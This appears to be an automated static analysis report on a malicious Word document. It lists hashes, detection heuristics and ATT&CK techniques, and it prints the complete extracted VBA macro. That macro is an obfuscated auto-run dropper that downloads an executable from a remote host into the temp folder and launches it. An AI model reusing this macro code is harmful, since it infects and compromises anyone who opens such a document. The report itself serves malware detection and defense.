Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f507d5c61def0e03…

MALICIOUS

Office (OLE)

56.0 KB Created: 2016-05-08 21:55:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 3aaa4ed350745e744027bd08f98dbf50 SHA-1: ba9c9c17f0567efad2c473982e6e04740eb39e88 SHA-256: f507d5c61def0e03260431a8a3d02644c7850422c416d659d8f166eb9af37764
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a VBA macro that executes upon opening the document. This macro utilizes WScript.Shell and CreateObject to likely download and execute a secondary payload. The presence of 'WScript.Shell usage' and 'Shell() call in VBA' heuristics strongly indicates malicious intent for arbitrary code execution.

Heuristics 9

  • ClamAV: Doc.Dropper.Donoff-5743530-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Donoff-5743530-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Function vmOtE() As Object
Set vmOtE = CreateObject("WScript.Shell")
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function kZJqc() As Object
Set kZJqc = CreateObject("MSXML2.ServerXMLHTTP.6.0")
End Function
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    Public Sub SjmExMS(ByVal LftahgsKve As Object, ByVal usDQoNJtJj As String, ByVal KqClq As Variant, ByVal XhCzIM As Variant)
CallByName LftahgsKve, usDQoNJtJj, 1, KqClq, XhCzIM
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
sVFoYbA.WwcLwGKR
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4188 bytes
SHA-256: b0be152699efc8a6973d5e083f37bc753ba2af8565a012e12261f5d38b2c09ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
sVFoYbA.WwcLwGKR
End Sub

Attribute VB_Name = "RdceQsUJh"
Public Sub SjmExMS(ByVal LftahgsKve As Object, ByVal usDQoNJtJj As String, ByVal KqClq As Variant, ByVal XhCzIM As Variant)
CallByName LftahgsKve, usDQoNJtJj, 1, KqClq, XhCzIM
End Sub
Public Function dQfok(ByVal LftahgsKve As Object, ByVal IHDGouJU As String) As Variant
dQfok = CallByName(LftahgsKve, IHDGouJU, 2)
End Function
Public Sub FiiiIx(ByVal LftahgsKve As Object, ByVal usDQoNJtJj As String)
CallByName LftahgsKve, usDQoNJtJj, 1
End Sub
Public Sub XnMCUWOGDO(ByVal LftahgsKve As Object, ByVal IHDGouJU As String, ByVal YPAhAQYeu As Variant)
CallByName LftahgsKve, IHDGouJU, 4, YPAhAQYeu
End Sub
Public Sub PoRMVQJV(ByVal LftahgsKve As Object, ByVal usDQoNJtJj As String, ByVal qtOQc As Variant)
CallByName LftahgsKve, usDQoNJtJj, 1, qtOQc
End Sub
Public Function ihrOU(ByVal LftahgsKve As Object, ByVal usDQoNJtJj As String, ByVal qtOQc As String) As Variant
Set ihrOU = CallByName(LftahgsKve, usDQoNJtJj, 2, qtOQc)
End Function

Attribute VB_Name = "fsMFmygu"
Public Function kZJqc() As Object
Set kZJqc = CreateObject("MSXML2.ServerXMLHTTP.6.0")
End Function
Public Function fRASqMgyv() As Object
Set fRASqMgyv = CreateObject("ADODB.Stream")
End Function
Public Function vmOtE() As Object
Set vmOtE = CreateObject("WScript.Shell")
End Function

Attribute VB_Name = "KNXmbdZ"
Public Function GzqnBTUV(ByVal jpvBeyWFw As String, ByVal EnHxMuKJf As Integer) As String
GzqnBTUV = Mid(jpvBeyWFw, EnHxMuKJf, 1)
End Function
Public Function NrNGQ(ByVal jpvBeyWFw As String, ByVal SqakWUUSj As String) As Boolean
NrNGQ = InStr(1, jpvBeyWFw, SqakWUUSj)
End Function

Attribute VB_Name = "sVFoYbA"
Private Sub tHjPltj(ByVal ceaATG As String)
RdceQsUJh.PoRMVQJV fsMFmygu.vmOtE, VUeXQwSrar.CZKGxO("BEixBecX", "B5XiJ"), ceaATG
End Sub
Private Sub pDtzwi(ByVal bPHFLSPBJi As String, ByVal HyzKCJujEQ As String)
Set WRUWd = fsMFmygu.kZJqc
WRUWd.Open VUeXQwSrar.CZKGxO("gGEiTi", "Mhgi"), bPHFLSPBJi, False
RdceQsUJh.FiiiIx WRUWd, VUeXQwSrar.CZKGxO("FSewnadF", "WwFa")
lQwwHih HyzKCJujEQ, RdceQsUJh.dQfok(WRUWd, VUeXQwSrar.CZKGxO("iRefsffp/onEsEe/fBiodfyO", "3E/fOi"))
End Sub
Private Function JlzuJgbt() As String
JlzuJgbt = VUeXQwSrar.CZKGxO("WhCttWpCW:/2/2AlAawCCmaAtW2e.2cACo2m.W2auCC/m2CedCCi2a/WdCo2cWuCm2eWn22tW.AexCeW", "AC2W")
End Function
Public Sub WwcLwGKR()
whCapWYJUG
End Sub
Private Sub lQwwHih(ByVal HyzKCJujEQ As String, ByVal WyBNMpeNpi As Variant)
Set wirvAHG = fsMFmygu.fRASqMgyv
RdceQsUJh.XnMCUWOGDO wirvAHG, VUeXQwSrar.CZKGxO("TsHypPPe", "HdsP"), 1
RdceQsUJh.FiiiIx wirvAHG, VUeXQwSrar.CZKGxO("IOpzeIn9", "9Iz")
RdceQsUJh.PoRMVQJV wirvAHG, VUeXQwSrar.CZKGxO("WMnrQinteM", "nQM"), WyBNMpeNpi
RdceQsUJh.SjmExMS wirvAHG, VUeXQwSrar.CZKGxO("5Sanvne52ToVFVniVle2", "5Vn2"), HyzKCJujEQ, 2
RdceQsUJh.FiiiIx wirvAHG, VUeXQwSrar.CZKGxO("CZFlyosyeZ", "yFZ")
End Sub
Private Sub whCapWYJUG()
On Error GoTo jjczkroA
pDtzwi JlzuJgbt, YDYSISv
tHjPltj YDYSISv
Exit Sub
jjczkroA:
End Sub
Private Function dvHtRSuMy(ByVal jNxemUac As String) As String
Set obRpnRE = RdceQsUJh.ihrOU(fsMFmygu.vmOtE, VUeXQwSrar.CZKGxO("ExWnvBRirWBonBmRxexnRt", "BxRW"), VUeXQwSrar.CZKGxO("Pq RkOC  ESkqS", "Yqwk "))
dvHtRSuMy = obRpnRE(jNxemUac)
End Function
Private Function YDYSISv() As String
YDYSISv = dvHtRSuMy(VUeXQwSrar.CZKGxO("TXZEwMXP", "ZXw")) & XsUljtU
End Function
Private Function XsUljtU() As String
XsUljtU = VUeXQwSrar.CZKGxO("Q/caabQ3Qd7a6T3T4a7Q4QE.eTTxae", "aEQT")
End Function

Attribute VB_Name = "VUeXQwSrar"
Public Function CZKGxO(ByVal iwoMPj As String, ByVal mSiBKc As String) As String
Dim CaRgPVoPsX As Boolean
For EnHxMuKJf = 1 To Len(iwoMPj)
CaRgPVoPsX = KNXmbdZ.NrNGQ(mSiBKc, KNXmbdZ.GzqnBTUV(iwoMPj, EnHxMuKJf))
If Not CaRgPVoPsX Then
CZKGxO = CZKGxO & KNXmbdZ.GzqnBTUV(iwoMPj, EnHxMuKJf)
End If
Next
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.